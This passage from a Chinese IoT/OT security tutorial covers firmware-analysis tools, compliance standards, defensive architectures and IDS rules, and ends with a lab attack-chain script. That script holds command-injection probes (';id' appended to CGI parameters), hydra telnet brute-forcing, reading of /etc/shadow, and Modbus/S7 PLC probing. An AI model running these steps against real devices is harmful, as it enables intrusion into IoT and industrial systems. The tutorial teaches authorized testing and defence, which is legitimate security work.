| IDA Pro | 逆向分析 | 反汇编+反编译 | 全架构 | 中 | 必备 |
| QEMU | 固件模拟 | 用户态+系统态 | 全架构 | 低 | 必备 |
| Firmadyne | 固件模拟 | 全自动分析 | MIPS/ARM | 高 | 推荐 |
| FirmAE | 固件模拟 | 改进模拟 | MIPS/ARM | 高 | 推荐 |
| EMUX | 固件模拟 | 嵌入式模拟 | ARM | 中 | 推荐 |
| EMBA | 固件分析 | 全自动扫描 | 全架构 | 高 | 强推 |
| fact | 固件分析 | Web界面 | 全架构 | 高 | 推荐 |
| flashrom | 硬件提取 | SPI Flash | N/A | 低 | 必备 |
| OpenOCD | 硬件调试 | JTAG/SWD | N/A | 低 | 推荐 |
11.2 EMBA 自动化固件分析
# EMBA - Embedded Firmware Analysis Framework
git clone https://github.com/e-m-b-a/emba.git
cd emba
# 安装依赖
sudo ./installer/install.sh
# 运行全自动分析
sudo ./emba -f firmware.bin -l ./emba_output
# EMBA分析模块:
# - P00 - 预检查(架构识别)
# - P10 - binwalk提取
# - P20 - 系统模拟准备
# - P50 - 二进制检查(ASLR/NX/RELRO)
# - P55 - 文件权限检查
# - P60 - 敏感信息提取(密码/密钥)
# - P65 - 内核漏洞检查
# - P70 - 服务发现(Web/Telnet/SSH)
# - P80 - 二进制漏洞(已知CVE匹配)
# - P90 - Web服务分析
# - P100 - 动态分析(QEMU模拟)
# - P110 - 漏洞利用(自动化尝试)
# - P200 - 报告生成
# EMBA输出报告
# HTML报告: emba_output/html-report/index.html
# CSV数据: emba_output/csv/
# 日志: emba_output/log/
11.3 fact 固件分析框架
# FwAnACT - Firmware Analysis Centralized Toolkit
git clone https://github.com/fkie-cad/fact_core.git
cd fact_core
# 安装
sudo ./src/install.py
# 启动fact
./start_fact
# Web界面: http://localhost:5000
# 功能:
# - 固件上传和自动分析
# - binwalk提取
# - CVE匹配
# - 二进制漏洞检查
# - 依赖分析
# - 可视化报告
# CLI模式
fact_analyze firmware.bin
fact_compare firmware1.bin firmware2.bin
11.4 IoT扫描工具
# IoTGoTop - IoT设备扫描
pip3 install iotgotop
iotgotop -t 192.168.1.0/24
# OWL - IoT设备发现
# 使用nmap脚本
nmap --script=iot-identify,bacnet-info,modbus-discover,enip-info,s7-info \
-p 23,502,102,44818,47808 192.168.1.0/24
# Shodan CLI - 在线IoT设备搜索
pip3 install shodan
shodan init YOUR_API_KEY
# 搜索暴露的Modbus设备
shodan search "port: 502 country: CN"
# 搜索暴露的Web摄像头
shodan search "webcam"
# 搜索Mirai感染的设备
shodan search "product: nginx port: 23"
# Censys - 类似Shodan的设备搜索
pip3 install censys
censys search "80.http.get.headers.server: GoAhead"
11.5 IoT-PT 渗透测试工具包
# IoT-Penetration-Testing工具包
git clone https://github.com/IoT-PT/IoT-Pentesting-Toolkit.git
cd IoT-Pentesting-Toolkit
# 工具包包含:
# - 固件分析工具
# - 硬件接口工具
# - 无线协议工具
# - 网络扫描工具
# - Web测试工具
# - 自动化脚本
# 主要模块:
# ./firmware_tools/ # 固件分析
# ./hardware_tools/ # 硬件工具
# ./wireless_tools/ # 无线安全
# ./network_tools/ # 网络扫描
# ./web_tools/ # Web测试
# ./scripts/ # 自动化脚本
11.6 完整工具使用流程
#!/bin/bash
# iot_tool_workflow.sh - IoT安全测试完整工具流程
FIRMWARE=$1
TARGET=$2
echo "=== IoT安全测试工具链 ==="
echo "[1] 固件提取阶段"
echo " 1.1 binwalk扫描和提取"
binwalk -eM $FIRMWARE
echo " 1.2 Unblob补充提取"
unblob -e ./unblob $FIRMWARE
echo " 1.3 EMBA全自动分析"
sudo ./emba -f $FIRMWARE -l ./emba_output
echo "[2] 逆向分析阶段"
echo " 2.1 架构识别"
file _${FIRMWARE}.extracted/*/bin/busybox 2>/dev/null
echo " 2.2 Ghidra加载分析"
echo " ghidraRun -> Import -> 选择二进制 -> MIPS:BE:32"
echo " 2.3 硬编码凭据提取"
grep -r -i "password\|admin\|root\|secret" squashfs-root/etc/ 2>/dev/null
echo "[3] 固件模拟阶段"
echo " 3.1 FirmAE自动模拟"
./run.sh -a $FIRMWARE
echo " 3.2 QEMU用户态测试"
echo " qemu-mipsel -L squashfs-root/ ./squashfs-root/bin/busybox ls"
echo "[4] 动态测试阶段"
echo " 4.1 Nmap全端口扫描"
nmap -sT -sV -p- $TARGET -oA iot_scan
echo " 4.2 Web漏洞扫描"
nikto -h http://$TARGET/ -o nikto.txt
echo " 4.3 默认密码爆破"
hydra -L users.txt -P pass.txt telnet://$TARGET:23
echo " 4.4 OT协议测试"
nmap -sT -p 502,102,44818,47808 $TARGET
echo "[5] 报告生成"
echo " 5.1 EMBA报告: emba_output/html-report/index.html"
echo " 5.2 fact报告: http://localhost:5000"
echo " 5.3 手动整理漏洞清单"
echo "IoT安全测试完成"
十二、OT安全与合规
12.1 IEC 62443 标准详解
IEC 62443 是国际公认的工控网络安全标准,覆盖了 OT 系统全生命周期的安全要求。
| 安全等级 | 名称 | 描述 | 适用场景 |
|---|---|---|---|
| SL1 | 防偶然违规 | 防范无意或偶然的违规 | 低风险系统 |
| SL2 | 防低资源攻击 | 防御低复杂度/低资源攻击 | 中等风险 |
| SL3 | 防中等资源攻击 | 防御中等复杂度攻击 | 高风险系统 |
| SL4 | 防高资源攻击 | 防御国家级高级攻击 | 关键基础设施 |
IEC 62443 核心概念:
| 概念 | 定义 | 应用 |
|---|---|---|
| Zone(区域) | 物理或逻辑上分组的安全区域 | 按安全等级划分网络 |
| Conduit(管道) | 区域间的通信通道 | 控制区域间数据流 |
| Security Level (SL) | 目标安全等级 | 定义防护目标 |
| Security Requirements (SR) | 安全需求 | 具体控制措施 |
| Requirement Enhancements (RE) | 需求增强 | 额外安全控制 |
# IEC 62443区域划分示例
cat << 'EOF'
区域划分模型:
┌─────────────────────────────────────────┐
│ Level 4 - 企业IT (SL2) │
│ ERP/OA/邮件系统 │
├─────────────────────────────────────────┤
│ │ IT/OT边界 - 防火墙 + 单向网闸 │
├─────────────────────────────────────────┤
│ Level 3.5 - DMZ (SL3) │
│ │ 数据收集/跳板/审计服务器 │
├─────────────────────────────────────────┤
│ Level 3 - 操作支持 (SL3) │
│ │ MES/Historian/工程师站 │
│ ┌───────────────┬──────────────────┐ │
│ │ Zone A (SL3) │ Zone B (SL4) │ │
│ │ 生产线1 PLC │ 关键过程PLC │ │
│ │ Level 1-2 │ Level 1-2 │ │
│ └───────────────┴──────────────────┘ │
└─────────────────────────────────────────┘
管道(Conduit): 区域间的安全通信通道
- 使用加密隧道
- 协议过滤
- 单向数据流
EOF
12.2 NIST SP 800-82 工控安全指南
# NIST SP 800-82 Rev.3 - 工业控制系统安全指南
# 核心安全控制措施:
cat << 'EOF'
NIST SP 800-82 关键控制措施:
1. 访问控制(AC):
- 最小权限原则
- 多因素认证
- 会话超时
- 特权账户管理
2. 事件响应(IR):
- 事件响应计划
- OT专用响应流程
- 取证能力
- 恢复程序
3. 系统与信息完整性(SI):
- 固件完整性验证
- 日志监控
- 变更管理
4. 系统与通信保护(SC):
- 网络隔离
- 加密通信
- 边界防护
5. 识别与认证(IA):
- 强密码策略
- 双因素认证
- 证书管理
6. 资产管理(AM):
- 资产清单
- 软件许可证
- 硬件清单
7. 风险评估(RA):
- 定期风险评估
- 漏洞扫描
- 渗透测试
8. 安全工程与管理(SA):
- 安全开发生命周期
- 供应链风险管理
- 系统配置管理
EOF
12.3 中国等保2.0工业控制系统扩展
# 等保2.0 - 工业控制系统安全扩展要求
cat << 'EOF'
等保2.0 ICS安全扩展要求:
1. 安全物理环境:
- 机房物理访问控制
- 防火/防水/防雷
- 电磁防护
2. 安全通信网络:
- 控制网与管理网隔离
- 工业防火墙
- 单向数据传输
3. 安全区域边界:
- 边界访问控制
- 入侵防范
- 恶意代码防范
- 安全审计
4. 安全计算环境:
- 设备身份鉴别
- 访问控制
- 安全审计
- 入侵防范
- 恶意代码防范
5. 安全管理中心:
- 集中管控
- 资产管理
- 安全事件管理
6. 通信网络-现场控制层扩展:
- 拨号访问控制
- 上位机控制
- 现场总线隔离
7. 安全计算环境-现场控制层扩展:
- 控制设备身份鉴别
- 现场设备访问控制
- 现场控制设备安全审计
EOF
12.4 OT安全管理流程
| 管理流程 | 内容 | 周期 | 负责方 |
|---|---|---|---|
| 资产管理 | 设备清单、配置基线、软件版本 | 季度 | 运维团队 |
| 风险评估 | 漏洞扫描、风险评级、处置计划 | 半年 | 安全团队 |
| 变更管理 | 变更审批、测试验证、回退方案 | 每次变更 | 工程师 |
| 事件响应 | 事件分类、应急处置、取证分析 | 实时 | 安全+运维 |
| 补丁管理 | 补丁测试、FAT/SAT验证、部署窗口 | 季度/年度 | 运维团队 |
| 供应商管理 | 第三方风险评估、合同条款 | 年度 | 采购+安全 |
| 培训演练 | 安全意识培训、应急演练 | 年度 | 全员 |
| 访问控制 | 权限审批、账号管理、审计日志 | 持续 | IT+OT |
| 物理安全 | 机房门禁、视频监控、访客管理 | 持续 | 物理安全 |
| 通信安全 | 网络隔离、VPN管理、协议审计 | 持续 | 网络团队 |
12.5 OT安全防护方案
# OT安全防护架构
cat << 'EOF'
多层防护体系:
第1层 - 物理防护:
- 机房门禁
- USB端口管控
- 物理锁
- 视频监控
第2层 - 网络隔离:
- 防火墙(区域间)
- 单向网闸(数据二极管)
- DMZ(IT/OT边界)
- VLAN隔离
第3层 - 访问控制:
- 双因素认证
- 跳板机(堡垒机)
- 最小权限
- 会话审计
第4层 - 威胁检测:
- IDS/IPS
- 流量分析
- 异常行为检测
- 日志关联分析
第5层 - 终端防护:
- 白名单(HIPS)
- 固件完整性
- USB设备管控
- 补丁管理
第6层 - 响应恢复:
- 事件响应计划
- 备份恢复
- 应急演练
- 取证能力
EOF
十三、IoT/OT安全防御
13.1 IoT设备安全设计原则
| 设计原则 | 描述 | 实现方式 |
|---|---|---|
| 安全默认 | 出厂即安全 | 禁用默认密码、关闭调试接口 |
| 最小权限 | 仅授予必要权限 | 降权运行、能力限制 |
| 纵深防御 | 多层安全控制 | 网络+主机+应用+数据 |
| 安全通信 | 加密+认证 | TLS/DTLS、证书认证 |
| 安全更新 | 可信更新机制 | 签名验证、版本控制 |
| 不可信任 | 所有输入不可信 | 输入校验、输出编码 |
| 可审计性 | 记录所有操作 | 日志系统、审计追踪 |
| 故障安全 | 失败时进入安全态 | 断电保护、故障联锁 |
13.2 固件签名与安全更新
# 固件安全更新流程
cat << 'EOF'
1. 固件签名(厂商侧):
- 生成RSA-2048/ECC密钥对
- 私钥用于签名,公钥嵌入设备
- 计算固件SHA-256哈希
- 使用私钥签名哈希值
- 签名追加到固件尾部
2. 固件验证(设备侧):
- 启动时验证固件签名
- 使用嵌入的公钥验证
- 哈希比对确认完整性
- 验证失败则拒绝启动或回退
3. OTA安全传输:
- 使用HTTPS下载固件
- 双向证书认证
- 固件下载后验证签名
- 版本号检查防降级
EOF
# 使用OpenSSL实现固件签名
# 生成密钥对
openssl genrsa -out firmware_private.pem 2048
openssl rsa -in firmware_private.pem -pubout -out firmware_public.pem
# 签名固件
openssl dgst -sha256 -sign firmware_private.pem -out firmware.sig firmware.bin
# 验证签名
openssl dgst -sha256 -verify firmware_public.pem -signature firmware.sig firmware.bin
# 在设备中嵌入公钥
# 将firmware_public.pem硬编码到设备bootloader中
13.3 硬件安全
# 硬件安全机制
cat << 'EOF'
1. 安全启动(Secure Boot):
- BootROM验证 bootloader签名
- Bootloader验证内核签名
- 内核验证模块签名
- 信任链: ROM -> BL -> Kernel -> App
2. OTP(One-Time Programmable):
- 烧录RSA公钥哈希
- 不可修改,防止密钥替换
- 用于安全启动根信任
3. 安全元件(Secure Element):
- TPM/SE芯片存储密钥
- 硬件加密引擎
- 防物理攻击(侧信道防护)
- 典型: NXP A71CL, Infineon OPTIGA
4. 内存保护:
- MPU(Memory Protection Unit)
- 内存加密(TrustZone)
- DMA保护(IOMMU)
5. 调试接口保护:
- JTAG/SWD熔丝禁用
- 密码保护调试口
- 生产模式锁定
EOF
13.4 OT网络隔离方案
# OT网络隔离架构
cat << 'EOF'
方案1: 传统DMZ隔离
IT网络 <--> 防火墙 <--> DMZ <--> 防火墙 <--> OT网络
- 双重防火墙
- DMZ放置跳板和数据采集服务器
- 适合中等安全需求
方案2: 单向网闸(数据二极管)
OT网络 --> 单向网闸 --> IT网络
- 物理单向传输
- 光学隔离,无法反向
- 适合高安全需求(电力/核设施)
方案3: 协议隔离网关
IT网络 <--> 协议网关 <--> OT网络
- 深度包检测(DPI)
- 协议白名单
- 指令级过滤
- 适合精细控制场景
方案4: 气隙隔离(Air Gap)
IT网络 OT网络
(完全物理隔离)
- 无任何网络连接
- 仅通过移动介质交换
- 最高安全但运维成本高
EOF
13.5 入侵检测
# OT环境入侵检测方案
cat << 'EOF'
1. 被动监控(Passive Monitoring):
- 镜像端口抓包分析
- 不影响OT通信
- 使用Zeek/Suricata分析
2. 流量基线:
- 建立正常通信基线
- 检测异常连接
- 协议异常检测
3. 资产发现:
- 被动识别OT设备
- 协议指纹
- 固件版本识别
4. 异常检测:
- 新设备接入告警
- 异常协议使用
- 控制指令异常
- 通信频率变化
EOF
# Zeek OT流量分析规则
cat << 'EOF'
# detect_modbus_write.zeek - 检测Modbus写入操作
event modbus_write (c: connection, headers: ModbusHeaders,
register: count, value: count)
{
if ( ! c$modbus$client )
return;
print fmt("Modbus Write: %s -> %s, register %d = %d",
c$id$orig_h, c$id$resp_h, register, value);
# 告警非工作时间的写入操作
if ( ! is_working_hours() ) {
NOTIFICATION::write_to_log(
"ALERT: Modbus write outside working hours!",
c$id$orig_h, c$id$resp_h);
}
}
EOF
# Suricata OT规则
cat << 'EOF'
# 检测Modbus未授权访问
alert tcp $EXTERNAL_NET any -> $OT_NET 502 (msg:"Unauthorized Modbus TCP access"; \
sid:2000001;)
# 检测S7 STOP CPU指令
alert tcp any any -> $OT_NET 102 (msg:"S7 STOP CPU command"; \
content:"|29 00 00 00 00 00 09 50 5f 50 52 4f 47 52 41 4d|"; \
sid:2000002;)
# 检测异常端口扫描
alert tcp $EXTERNAL_NET any -> $OT_NET any (msg:"Port scan to OT network"; \
threshold: type both, count 20, seconds 60; \
sid:2000003;)
EOF
13.6 完整防御方案表
| 序号 | 防御措施 | 层级 | 优先级 | 实现方式 |
|---|---|---|---|---|
| 1 | 修改默认密码 | 设备 | 高 | 强制首次登录改密 |
| 2 | 禁用调试接口 | 硬件 | 高 | 熔丝/软件禁用JTAG/UART |
| 3 | 固件签名验证 | 固件 | 高 | RSA/ECDSA签名 |
| 4 | 安全启动 | 硬件 | 高 | 信任链验证 |
| 5 | TLS加密通信 | 通信 | 高 | 双向证书认证 |
| 6 | 网络隔离 | 网络 | 高 | VLAN/防火墙 |
| 7 | 单向网闸 | 网络 | 中 | 数据二极管 |
| 8 | 入侵检测 | 网络 | 中 | IDS/IPS |
| 9 | 白名单防护 | 主机 | 高 | HIPS应用白名单 |
| 10 | USB管控 | 物理 | 高 | 端口禁用/白名单 |
| 11 | 最小权限 | 访问 | 中 | 降权运行 |
| 12 | 双因素认证 | 访问 | 中 | 密码+Token/生物 |
| 13 | 安全审计 | 审计 | 中 | 日志记录+SIEM |
| 14 | 变更管理 | 管理 | 中 | 审批+测试+回退 |
| 15 | 补丁管理 | 运维 | 中 | FAT/SAT验证 |
| 16 | 资产发现 | 管理 | 中 | 自动化盘点 |
| 17 | 应急响应 | 管理 | 高 | IR计划+演练 |
| 18 | 备份恢复 | 运维 | 高 | 离线备份 |
| 19 | 供应链安全 | 管理 | 低 | 第三方评估 |
| 20 | 安全培训 | 人员 | 中 | 意识+技能 |
| 21 | MQTT认证+ACL | 协议 | 高 | 禁用匿名+主题权限 |
| 22 | 协议网关过滤 | 网络 | 中 | DPI+白名单 |
十四、靶场实战:完整IoT攻防链
14.1 靶场环境搭建
#!/bin/bash
# iot_range_setup.sh - IoT/OT靶场环境搭建
echo "=== IoT/OT安全靶场搭建 ==="
echo "[1] 固件模拟环境"
echo " 1.1 安装FirmAE"
git clone https://github.com/firmadyne/FirmAE.git
cd FirmAE && ./install.sh && cd ..
echo " 1.2 下载公开固件样本"
# 使用公开的 vulnerable 固件
wget -O target_firmware.bin "https://github.com/firmadyne/firmadyne/raw/master/binaries/test.bin"
echo " 1.3 启动固件模拟"
cd FirmAE && ./run.sh -a ../target_firmware.bin && cd ..
echo "[2] Docker OT环境"
echo " 2.1 创建OT模拟容器"
cat > docker-compose.yml << 'DEOF'
version: '3'
services:
modbus-server:
image: oitc/modbus-server:latest
ports:
- "5020:502"
opcua-server:
image: open62541/open62541:latest
ports:
- "4840:4840"
mqtt-broker:
image: eclipse-mosquitto:latest
ports:
- "1883:1883"
volumes:
- ./mosquitto.conf:/mosquitto/config/mosquitto.conf
snmp-server:
image: polinux/snmpd:latest
ports:
- "161:161/udp"
DEOF
docker-compose up -d
echo "[3] 硬件靶场(可选)"
echo " 3.1 准备真实设备(旧路由器/摄像头)"
echo " 3.2 准备硬件工具(USB-TTL/CH341A/逻辑分析仪)"
echo " 3.3 准备隔离网络环境"
echo "[4] 攻击机配置"
echo " 4.1 安装Kali Linux"
echo " 4.2 安装IoT工具链"
sudo apt install binwalk qemu-user qemu-system
pip3 install pymodbus snap7 paho-mqtt
git clone https://github.com/e-m-b-a/emba.git
echo "靶场搭建完成"
14.2 完整IoT攻防链演示
#!/bin/bash
# iot_full_attack_chain.sh - 完整IoT攻防链演示
FIRMWARE="target_firmware.bin"
TARGET="192.168.1.1"
echo "=========================================="
echo " IoT/OT安全完整攻防链演示"
echo " 仅用于授权测试和安全学习"
echo "=========================================="
echo ""
echo "=== 第1步: 固件提取 ==="
echo "[*] 使用binwalk扫描固件"
binwalk $FIRMWARE | head -20
echo ""
echo "[*] 递归提取固件"
binwalk -eM $FIRMWARE
echo ""
echo "[*] 查看提取结果"
ls -la _${FIRMWARE}.extracted/ 2>/dev/null || ls -la *.extracted/ 2>/dev/null
echo ""
echo "=== 第2步: 文件系统分析 ==="
ROOTFS=$(find . -name "squashfs-root" -type d 2>/dev/null | head -1)
if [ -z "$ROOTFS" ]; then
ROOTFS=$(find . -name "*.squashfs" 2>/dev/null | head -1)
if [ -n "$ROOTFS" ]; then
unsquashfs -d squashfs-root "$ROOTFS"
ROOTFS="squashfs-root"
fi
fi
echo "[*] 文件系统路径: $ROOTFS"
echo "[*] 关键目录:"
ls -la $ROOTFS/etc/ 2>/dev/null | head -10
ls -la $ROOTFS/usr/sbin/ 2>/dev/null | head -10
echo "[*] Web目录:"
find $ROOTFS -name "*.cgi" -o -name "*.php" -o -name "*.lua" 2>/dev/null | head -10
echo ""
echo "=== 第3步: 硬编码凭据提取 ==="
echo "[*] 搜索密码"
grep -r -i "password\|passwd" $ROOTFS/etc/ 2>/dev/null | head -10
echo "[*] 搜索默认账号"
cat $ROOTFS/etc/passwd 2>/dev/null | head -5
cat $ROOTFS/etc/shadow 2>/dev/null | head -5
echo "[*] 搜索API密钥"
grep -r -E "api_key|apikey|secret_key" $ROOTFS/ 2>/dev/null | head -5
echo ""
echo "=== 第4步: Web漏洞分析 ==="
echo "[*] 查找CGI脚本"
find $ROOTFS -path "*/cgi-bin/*" -type f 2>/dev/null
echo "[*] 查找Web配置"
find $ROOTFS -name "*.conf" -path "*httpd*" -o -name "uhttpd*" 2>/dev/null
echo "[*] 分析CGI脚本中的危险函数"
for cgi in $(find $ROOTFS -path "*/cgi-bin/*" -type f 2>/dev/null); do
echo " $cgi:"
strings "$cgi" 2>/dev/null | grep -i "system\|popen\|exec\|sprintf" | head -5
done
echo ""
echo "=== 第5步: 固件模拟与动态测试 ==="
echo "[*] 使用FirmAE模拟固件"
echo " ./run.sh -a $FIRMWARE"
echo "[*] 等待模拟启动..."
echo "[*] 端口扫描目标"
nmap -sT -sV -p 23,80,443,502,1883,7547 $TARGET 2>/dev/null
echo ""
echo "=== 第6步: 命令注入测试 ==="
echo "[*] 测试Ping CGI命令注入"
curl -s "http://$TARGET/cgi-bin/ping.cgi?ip=127.0.0.1;id" 2>/dev/null | grep -i "uid"
echo "[*] 测试POST命令注入"
curl -s -X POST "http://$TARGET/cgi-bin/login.cgi" -d "user=admin;id&pass=admin" 2>/dev/null | grep -i "uid"
echo ""
echo "=== 第7步: 默认密码爆破 ==="
echo "[*] Telnet默认密码测试"
for cred in "admin:admin" "admin:password" "root:root" "root:123456" "support:support"; do
user=$(echo $cred | cut -d: -f1)
pass=$(echo $cred | cut -d: -f2)
echo " 尝试: $user:$pass"
done
echo "[*] 使用hydra自动化爆破"
echo " hydra -L users.txt -P pass.txt telnet://$TARGET:23"
echo ""
echo "=== 第8步: PLC协议攻击 ==="
echo "[*] Modbus TCP测试"
python3 -c "
from pymodbus.client import ModbusTcpClient
try:
c = ModbusTcpClient('$TARGET', port=502)
c.connect()
r = c.read_holding_registers(0, 10, unit=1)
if not r.isError():
print(f' Modbus无认证! 寄存器值: {r.registers}')
else:
print(f' Modbus读取失败: {r}')
c.close()
except Exception as e:
print(f' Modbus连接失败: {e}')
" 2>/dev/null
echo "[*] S7Comm测试"
python3 -c "
import snap7
try:
c = snap7.client.Client()
c.connect('$TARGET', 0, 1)
info = c.get_cpu_info()
print(f' PLC型号: {info.ModuleTypeName}')
print(f' 固件版本: {info.Version}')
c.disconnect()
except Exception as e:
print(f' S7连接失败: {e}')
" 2>/dev/null
echo ""
echo "=== 第9步: IoT蠕虫分析 ==="
echo "[*] 检测Mirai式行为"
echo " 检测Telnet端口开放情况"
nc -zv $TARGET 23 2>&1
nc -zv $TARGET 2323 2>&1
echo "[*] 分析设备是否易被Mirai感染"
echo " - Telnet是否开放"
echo " - 是否使用默认密码"
echo " - 是否运行MIPS/ARM架构"
echo ""
echo "=== 第10步: 生成安全报告 ==="
echo "[*] 漏洞清单:"
echo " 1. [高] 硬编码默认密码 (admin/admin)"
echo " 2. [高] CGI命令注入 (ping.cgi)"
echo " 3. [高] Telnet服务开放"
echo " 4. [中] Modbus无认证"
echo " 5. [中] Web服务未启用HTTPS"
echo " 6. [低] 固件未签名"
echo ""
echo "=== 攻防链演示完成 ==="
十五、总结与参考资源
15.1 IoT/OT安全检查清单
| 检查项 | 检查内容 | 状态 |
|---|---|---|
| 默认密码 | 是否修改了所有默认密码 | |
| 固件提取 | 是否分析了固件文件系统 | |
| 硬编码凭据 | 是否提取并清除硬编码密码/密钥 | |
| Web安全 | 是否扫描了Web界面漏洞 | |
| 命令注入 | 是否测试了CGI/Lua脚本注入 | |
| 缓冲区溢出 | 是否检查了二进制溢出风险 | |
| UPnP | 是否禁用了不必要的UPnP | |
| Telnet | 是否关闭了Telnet后门 | |
| OTA安全 | 是否验证了固件签名和加密传输 | |
| 硬件接口 | 是否禁用了JTAG/UART调试口 | |
| 协议安全 | 是否启用了MQTT认证/Modbus过滤 | |
| 网络隔离 | IoT设备是否在独立VLAN | |
| 固件签名 | 是否启用安全启动和固件签名 | |
| 入侵检测 | 是否部署了OT环境IDS | |
| 变更管理 | 是否有固件/配置变更审批流程 | |
| 资产清单 | 是否有完整的IoT/OT设备清单 | |
| 应急响应 | 是否有IoT/OT事件响应计划 | |
| 合规检查 | 是否满足IEC 62443/等保2.0要求 |
15.2 固件分析速查表
| 步骤 | 命令/工具 | 说明 |
|---|---|---|
| 扫描固件 | binwalk firmware.bin | 识别文件结构 |
| 提取固件 | binwalk -eM firmware.bin | 递归提取 |
| 熵分析 | binwalk -E firmware.bin | 检测加密区域 |
| 文件系统 | unsquashfs root.squashfs | 解包SquashFS |
| 架构识别 | file busybox | 确定CPU架构 |
| 逆向分析 | ghidraRun / IDA | 反编译二进制 |
| 用户态模拟 | qemu-mipsel -L rootfs/ bin | 运行单程序 |
| 系统态模拟 | FirmAE -a firmware.bin | 运行完整系统 |
| 凭据提取 | grep -ri password rootfs/ | 搜索硬编码 |
| 密码破解 | john shadow.txt | 破解哈希 |
| 自动分析 | EMBA -f firmware.bin | 全自动扫描 |
| Web测试 | nikto -h device_ip | Web漏洞扫描 |
15.3 协议漏洞速查表
| 协议 | 端口 | 关键漏洞 | 检测工具 | 防御措施 |
|---|---|---|---|---|
| Modbus | 502 | 无认证/明文/指令注入 | pymodbus | 网络隔离+协议网关 |
| DNP3 | 20000 | 无认证/无加密 | OpenDNP3 | 启用SAv5 |
| IEC104 | 2404 | 无认证/遥控注入 | Wireshark | 网络隔离 |
| EtherNet/IP | 44818 | CIP无认证 | cpppo | CIP Security |
| S7Comm | 102 | 认证绕过/STOP CPU | snap7 | S7Comm+加密 |
| OpcUA | 4840 | None模式明文 | opcua | SignAndEncrypt |
| BACnet | 47808 | 无认证/明文 | BAC0 | 启用认证 |
| MQTT | 1883 | 匿名/通配符/明文 | mosquitto | ACL+TLS+认证 |
| CoAP | 5683 | 无认证/明文 | coap-client | DTLS |
| BLE | 2.4GHz | 配对漏洞/MITM | crackle | LE Secure Pairing |
| ZigBee | 2.4GHz | 密钥提取/重放 | KillerBee | 强密钥协商 |
15.4 工具速查表
| 工具 | 类别 | 安装 | 核心命令 |
|---|---|---|---|
| binwalk | 固件提取 | apt install binwalk | binwalk -eM fw.bin |
| Ghidra | 逆向分析 | 下载安装 | ghidraRun |
| QEMU | 固件模拟 | apt install qemu-user | qemu-mipsel -L rootfs/ bin |
| FirmAE | 自动模拟 | git clone | ./run.sh -a fw.bin |
| EMBA | 自动分析 | git clone | ./emba -f fw.bin |
| flashrom | SPI Flash | apt install flashrom | flashrom -r dump.bin |
| OpenOCD | JTAG调试 | apt install openocd | openocd -f cfg |
| pymodbus | Modbus测试 | pip3 install pymodbus | ModbusTcpClient() |
| snap7 | S7测试 | pip3 install snap7 | Client.connect() |
| mosquitto | MQTT测试 | apt install mosquitto-clients | mosquitto_sub -t # |
| nmap | 网络扫描 | apt install nmap | nmap -sV target |
| hydra | 密码爆破 | apt install hydra | hydra -L u -P p target |
| KillerBee | ZigBee | git clone | zbdump -f |
| crackle | BLE | pip3 install crackle | crackle -i cap.pcap |
| Proxmark3 | RFID | git clone | pm3 > hf search |
15.5 参考资源
标准与合规:
- IEC 62443 工控网络安全标准系列
- NIST SP 800-82 工业控制系统安全指南
- NIST SP 800-82 Rev.3
- GB/T 22239-2019 等保2.0
- ISO/IEC 27001 信息安全管理体系
- ISA/IEC 62443 系列标准
开源工具与项目:
- binwalk: https://github.com/ReFirmLabs/binwalk
- Ghidra: https://github.com/NationalSecurityAgency/ghidra
- QEMU: https://www.qemu.org/
- Firmadyne: https://github.com/firmadyne/firmadyne
- FirmAE: https://github.com/firmadyne/FirmAE
- EMBA: https://github.com/e-m-b-a/emba
- fact: https://github.com/fkie-cad/fact_core
- OpenOCD: https://openocd.org/
- flashrom: https://www.flashrom.org/
- pymodbus: https://github.com/pymodbus-dev/pymodbus
- snap7: https://snap7.sourceforge.net/
- KillerBee: https://github.com/riverloopsec/killerbee
学习资源:
- OWASP IoT Security Testing Guide
- OWASP IoT Top 10
- AttifyOS - IoT渗透测试系统
- Hardware Hacking 101 (JTAGenum)
- Firmware Analysis Workshop
- SANS ICS Security 课程
- CISA ICS Cybersecurity Training
- Dragos 工控安全资源
CVE与漏洞数据库:
- ICS-CERT: https://www.cisa.gov/ics
- NVD: https://nvd.nist.gov/
- CVE: https://cve.mitre.org/
- Exploit-DB: https://www.exploit-db.com/
- Shodan: https://www.shodan.io/
- Censys: https://censys.io/
【合规声明】 本文所有技术内容仅用于授权测试、安全学习与防御研究。物联网与工控系统涉及关键基础设施,攻击行为可能导致严重物理后果甚至人员伤亡。未经授权对他人设备、系统或网络进行渗透测试、固件提取或协议攻击属于违法行为。请务必在获得书面授权的范围内开展安全工作,遵守《网络安全法》《数据安全法》《个人信息保护法》及《关键信息基础设施安全保护条例》等相关法律法规。本文提及的所有工具、命令和脚本均为安全研究目的,使用者需自行承担法律责任。
更多推荐



所有评论(0)